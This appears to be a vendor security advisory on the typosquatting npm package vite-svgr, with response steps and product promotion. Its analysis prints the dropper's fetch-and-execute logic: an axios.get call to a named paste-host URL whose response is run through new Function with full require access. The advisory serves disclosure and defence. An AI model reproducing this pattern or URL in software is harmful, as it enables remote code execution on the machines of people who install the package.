vite-svgrnpm
vite-svgr is a confirmed malicious npm package (MAL-2026-5708) that typosquats a legitimate package to trick installs (malicious versions 1.1.2, 1.1.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vite-svgr (npm)
What this malware does
Package name vite-svgr impersonates the popular vite-plugin-svgr, but the shipped code is a fork of tsconfig-paths (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } }) and then runs the response body's Cookie field via new Function('require', s)(require) — arbitrary JavaScript with full Node require access executed under the installer's user. The code is reachable from the package's main via the exported configJson(...), which spawns node lib/mapProps.js detached, so any consumer that imports this package and calls configJson triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.

Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-svgr (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-svgr across your stack and pipelines.
If you installed it — respond
vite-svgr is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-svgr, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-svgr was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vite-svgr before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Detect & block this
O3 blocks vite-svgr-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
